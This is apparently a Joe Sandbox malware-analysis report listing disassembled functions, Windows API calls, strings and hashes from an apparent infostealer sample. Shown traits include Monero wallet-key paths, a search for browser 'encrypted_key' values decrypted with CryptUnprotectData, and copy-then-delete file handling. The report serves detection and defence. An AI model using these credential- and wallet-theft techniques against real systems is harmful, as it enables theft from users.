Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 65ff62d5ec8b1292290ac1d438c3cafe6499ac35479c11be689b2af39b81d238
Instruction ID: 38206bee60847987519ae06821527ca9d1d05efb49c410b999a8d359844ede43
Opcode Fuzzy Hash: 65ff62d5ec8b1292290ac1d438c3cafe6499ac35479c11be689b2af39b81d238
Instruction Fuzzy Hash: E501E1B9A40208BBDB04DFE4DC49FAEB7BCFB48701F10825AFE1597280D6759A419F51

Function 006AC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 006AC8EC
___crtLCMapStringA.LIBCMT ref: 006AC90C
___crtLCMapStringA.LIBCMT ref: 006AC931

Strings

, xrefs: 006AC896

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 9c99a84db5137a6869827c514629758eddb3c9fcde352deb6c1c07bdc72d6b21
Instruction ID: fc199fc5cacdd86066d8c7e64fab9b57925553bac4998ac61e29592299b8f064
Opcode Fuzzy Hash: 9c99a84db5137a6869827c514629758eddb3c9fcde352deb6c1c07bdc72d6b21
Instruction Fuzzy Hash: 464107B110079C9EDB219B24CC84FFBBBEEAF46714F1444ECE98A86182D2719E45DF64

Function 006A6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 006A6663

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

ShellExecuteEx.SHELL32(0000003C), ref: 006A6726
ExitProcess.KERNEL32 ref: 006A6755

Strings

<, xrefs: 006A66D9

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 91fe7c957b6084cb049f0d747435e9ad00cb4253c00cac037fbda50a6b7f0364
Instruction ID: 51fccbc823dd87218049062ac7967150cf907bacb44aa54f66cc7973267a3f59
Opcode Fuzzy Hash: 91fe7c957b6084cb049f0d747435e9ad00cb4253c00cac037fbda50a6b7f0364
Instruction Fuzzy Hash: 50312DB1D01218AFDB94FB90DC92BDE7779AF44300F40419AF20966191DF746B48CF5A

Function 006A87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,006B0E28,00000000,?), ref: 006A882F
RtlAllocateHeap.NTDLL(00000000), ref: 006A8836
wsprintfA.USER32 ref: 006A8850

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Strings

%dx%d, xrefs: 006A8847

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 6ecba93a4f5197f878f8b606c01ed01711dd5a4076cf8226e8c9eb56aab0089d
Instruction ID: fab26cac4c670ed7a6adc53731e925ca5a2bc8c8cbe94f11eb8cf29124f85223
Opcode Fuzzy Hash: 6ecba93a4f5197f878f8b606c01ed01711dd5a4076cf8226e8c9eb56aab0089d
Instruction Fuzzy Hash: 012130B1A41204EFDB04DF94DD45FAEBBB8FB48701F20421AFA05A7280C7799D01CBA1

Function 006A8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,006A951E,00000000), ref: 006A8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 006A8D62
wsprintfW.USER32 ref: 006A8D78

Strings

%hs, xrefs: 006A8D6F

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: a346ac70ed33f3f9ed9818defdd5a23553b99c66b5f96dc177b9a6a04c76b8d8
Instruction ID: 942bbe810ec5ea8580280938b1a2c30719b40d5ea8b047d67297156c97a92aa6
Opcode Fuzzy Hash: a346ac70ed33f3f9ed9818defdd5a23553b99c66b5f96dc177b9a6a04c76b8d8
Instruction Fuzzy Hash: 48E08CB0A41208BBDB04EF94DC0AE697BB8FB44702F2002A5FD0987280DA719E009B92

Function 0069A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006A8B60: GetSystemTime.KERNEL32(006B0E1A,0126B828,006B05AE,?,?,006913F9,?,0000001A,006B0E1A,00000000,?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006A8B86

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0069A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0069A3FF
lstrlen.KERNEL32(00000000), ref: 0069A6BC

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

DeleteFileA.KERNEL32(00000000), ref: 0069A743

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 253d5248bb69c7d5eb2ea3e92dab04155d4cf5793fdd7f0cc598c0cbee84d7f4
Instruction ID: d58c2acfe870aac3873b1041955a6209c8c3903263c9bfe1c03d85b85b553c3b
Opcode Fuzzy Hash: 253d5248bb69c7d5eb2ea3e92dab04155d4cf5793fdd7f0cc598c0cbee84d7f4
Instruction Fuzzy Hash: 4EE1C8728101089ADB88FBE4DC92EEE733AAF15300F50815EF51766091EF346E49CF6A

Function 0069D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006A8B60: GetSystemTime.KERNEL32(006B0E1A,0126B828,006B05AE,?,?,006913F9,?,0000001A,006B0E1A,00000000,?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006A8B86

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0069D481
lstrlen.KERNEL32(00000000), ref: 0069D698
lstrlen.KERNEL32(00000000), ref: 0069D6AC
DeleteFileA.KERNEL32(00000000), ref: 0069D72B

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3ab8014c6c3fb2245c93d64ee45e5da72aa21dfc670d8719af0b4d8c2d4c27f0
Instruction ID: ef146df3853f2c4ef3331f23d8f9e6f708beb079a7015fb2c183f0550584b445
Opcode Fuzzy Hash: 3ab8014c6c3fb2245c93d64ee45e5da72aa21dfc670d8719af0b4d8c2d4c27f0
Instruction Fuzzy Hash: BD91ED729111089ADB88FBE4DC92EEE737AAF15300F50416EF50766091EF346E49CF6A

Function 0069D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

Part of subcall function 006A8B60: GetSystemTime.KERNEL32(006B0E1A,0126B828,006B05AE,?,?,006913F9,?,0000001A,006B0E1A,00000000,?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006A8B86

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0069D801
lstrlen.KERNEL32(00000000), ref: 0069D99F
lstrlen.KERNEL32(00000000), ref: 0069D9B3
DeleteFileA.KERNEL32(00000000), ref: 0069DA32

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 4bb0663877d0d881c8c3cb04cca67eb9aaf24a5e4b1326606ab89a98eb6502b5
Instruction ID: ec4fa0cc5a3bb6b965317fc3fc70457395b38941be1a3c294e1dde289388d8eb
Opcode Fuzzy Hash: 4bb0663877d0d881c8c3cb04cca67eb9aaf24a5e4b1326606ab89a98eb6502b5
Instruction Fuzzy Hash: D181DD719111089ADB88FBE4DC56AEE737AAF15300F50452EF507A6091EF346E09CF66

Function 006A70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

sj, xrefs: 006A7111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 006A718C
sj, xrefs: 006A72AE, 006A7179, 006A717C

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sj$sj$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-1829183765
Opcode ID: ee0f78ab32e0d68763641ec86b13d2debf254814be2bace988a7df3406253f9f
Instruction ID: 3f5bc1d3ce9f236983abab34819ce9f80fecef59a323ac78d69b8e1a04f6e764
Opcode Fuzzy Hash: ee0f78ab32e0d68763641ec86b13d2debf254814be2bace988a7df3406253f9f
Instruction Fuzzy Hash: B0518FB0D042089FDB64FB90DC85BEEB7B6AF55304F1441ADE21567282EB746E88CF58

Function 006A3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 66824cb0c3823c4b4c26ab8525d1606a757f3493ca10b8678877a02684c6d88d
Instruction ID: b254e5bc8835d62897b8d702fbf0e5ef272e9480f62383530ff56a49e0ee1728
Opcode Fuzzy Hash: 66824cb0c3823c4b4c26ab8525d1606a757f3493ca10b8678877a02684c6d88d
Instruction Fuzzy Hash: 3A415CB5D10109AFCB44FFE4D845AFEB7BAAB45304F108019F51276290EB34AA45CFA5

Function 00699CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006999EC
Part of subcall function 006999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00699A11
Part of subcall function 006999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00699A31
Part of subcall function 006999C0: ReadFile.KERNEL32(000000FF,?,00000000,0069148F,00000000), ref: 00699A5A
Part of subcall function 006999C0: LocalFree.KERNEL32(0069148F), ref: 00699A90
Part of subcall function 006999C0: CloseHandle.KERNEL32(000000FF), ref: 00699A9A

Part of subcall function 006A8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006A8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00699D39

Part of subcall function 00699AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ni,00000000,00000000), ref: 00699AEF
Part of subcall function 00699AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00694EEE,00000000,?), ref: 00699B01
Part of subcall function 00699AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Ni,00000000,00000000), ref: 00699B2A
Part of subcall function 00699AC0: LocalFree.KERNEL32(?,?,?,?,00694EEE,00000000,?), ref: 00699B3F

Part of subcall function 00699B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00699B84
Part of subcall function 00699B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00699BA3
Part of subcall function 00699B60: LocalFree.KERNEL32(?), ref: 00699BD3

Strings

"encrypted_key":", xrefs: 00699D30
, xrefs: 00699DC1
DPAPI, xrefs: 00699D89

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
